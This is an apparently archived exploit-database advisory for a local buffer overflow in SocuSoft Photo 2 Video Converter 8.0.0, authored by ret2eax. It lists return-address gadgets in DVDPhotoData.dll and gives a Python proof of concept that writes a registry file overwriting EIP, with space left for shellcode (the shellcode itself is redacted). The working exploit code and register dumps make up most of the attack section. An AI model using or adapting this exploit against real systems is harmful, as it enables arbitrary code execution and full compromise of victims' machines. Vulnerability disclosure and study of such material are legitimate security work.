exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SocuSoft Co. Photo 2 Video Converter 8.0.0 Code Execution / DoS

SocuSoft Co. Photo 2 Video Converter 8.0.0 Code Execution / DoS
Posted Dec 1, 2017
Authored by ret2eax

SocuSoft Co. Photo 2 Video Converter Free and Pro variants version 8.0.0 suffer from a buffer overflow in the pdmlog.dll library.

tags | exploit, overflow
SHA-256 | 3fd31bbd67b180c246f9cd03a3612bab55a00be62eb13be5e16f3cbc67cc5f37

SocuSoft Co. Photo 2 Video Converter 8.0.0 Code Execution / DoS

Change Mirror Download

=================================================================================
_ _____ _____ _____
| | | _ | |____ | |____ |
| |__ | |/' |_ __ ___ / / ___ _ __ / /_ __
| '_ \| /| | '_ ` _ \ \ \/ __| '__| \ \ \ /\ / /
| | | \ |_/ / | | | | |.___/ / (__| | .___/ /\ V V /
|_| |_|\___/|_| |_| |_|\____/ \___|_| \____/ \_/\_/

> _[C O N T A C T] :
Twitter: @ret2eax
Email: ret2eax@riseup.net
Blog: ret2eax.pw
Website: hackthegrid.com.au

[+]-----------------------------------------------------------------[+]
| Impacted Vendor: SocuSoft Co. |
| Vulnerable Software: Photo 2 Video Converter Free & Pro Variants |
| Software URL: http://www.socusoft.com/ |
| Effected Release: 8.0.0 |
| Vulnerability Type: Code Execution, Denial of Service |
| Date Released: 01/12/2017 |
| Released by: ret2eax |
[+]-----------------------------------------------------------------[+]

=================================================================================

[+]----------------------------[ S U M M A R Y ]------------------------------[+]

Socusoft's Photo 2 Video Converter v8.0.0 (Free and Professional variants)
contains a local buffer overflow condition in the pdmlog.dll library.
Exploitation can result in x86 register rewrites to control program execution
flow, therefore, resulting in ability to execute arbitrary shellcode leading
to complete system compromise.

[+]-------------------------[ D E S C R I P T I O N ]------------------------[+]

One of many modules, the following contains no illegal address characters
i.e. '\0x00'.

+-----------------------------------------------------------------+
| Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Module |
|-----------------------------------------------------------------|
| False | False | False | False | False | DVDPhotoData.dll |
+-----------------------------------------------------------------+

The following PUSH ESP instruction addresses are suitable to redirect
program execution:

>_[DVDPhotoData.dll]:

0x10002352 push esp; ret
0x10013945 push esp; retn 0x0004
0x1004cb83 push esp; retn 0x0008
0x1004cbb8 push esp; retn 0x0008
0x1004cc11 push esp; retn 0x0008


[+]-----------------------[ P R E C O N D I T I O N S ]---------------------[+]

1. Tested on Windows Server 2008 R2
2. Import generated .reg prior to restarting the executable within a debugger
3. Overflow condition observed to occur in pdmlog.dll

[+]------------------------[ E X P L O I T A T I O N ]----------------------[+]

A Proof of Concept is as follows:

>_[Python Script - SHELLCODE REDACTED]:

#!/usr/bin/python

# REGISTERS

# EAX 42424242
# ECX 0002BF3B pdmlog.<ModuleEntryPoint>
# EDX 00020000 pdmlog.00020000
# EBX 00020000 pdmlog.00020000
# ESP 035BFB90
# EBP 035BFBAC
# ESI 00000002
# EDI 00000000
# EIP 42424242

# EAX 10013945 DVDPhoto.10013945
# ECX 0002BF3B pdmlog.<ModuleEntryPoint>
# EDX 00020000 pdmlog.00020000
# EBX 00020000 pdmlog.00020000
# ESP 03A0FB90
# EBP 03A0FBAC
# ESI 00000002
# EDI 00000000
# EIP 10013945 DVDPhoto.10013945 <- EIP Overwrite '\x45\x39\x01\x10'

# outfile
file = "proof-of-concept.reg"

# register re-write
padding = "\x41" * 548
eipOffset = "\x45\x39\x01\x10" # PUSH ESP (0x10013945)
stackRewrite = "\x43" * 400 # Shellcode Space

# generate exploit file containing above payload instructing EIP overwrite

poc = "Windows Registry Editor Version 5.00\n\n"
poc = poc + "[HKEY_CURRENT_USER\Software\Socusoft Photo to Video Converter Free Version\General]\n"
poc = poc + "\"TempFolder\"=\"" + padding + eipOffset + stackRewrite + "\""

try:
print "[*] Generating exploit contents...\n";
print "[*] Creating payload file...\n";
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print "[*] Success!";
except:
print "[!] ERROR!";

#EOF

=================================================================================
Login or Register to add favorites

File Archive:

May 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    16 Files
  • 3
    May 3rd
    38 Files
  • 4
    May 4th
    15 Files
  • 5
    May 5th
    35 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    8 Files
  • 9
    May 9th
    66 Files
  • 10
    May 10th
    19 Files
  • 11
    May 11th
    27 Files
  • 12
    May 12th
    8 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    1 Files
  • 15
    May 15th
    19 Files
  • 16
    May 16th
    66 Files
  • 17
    May 17th
    28 Files
  • 18
    May 18th
    32 Files
  • 19
    May 19th
    13 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close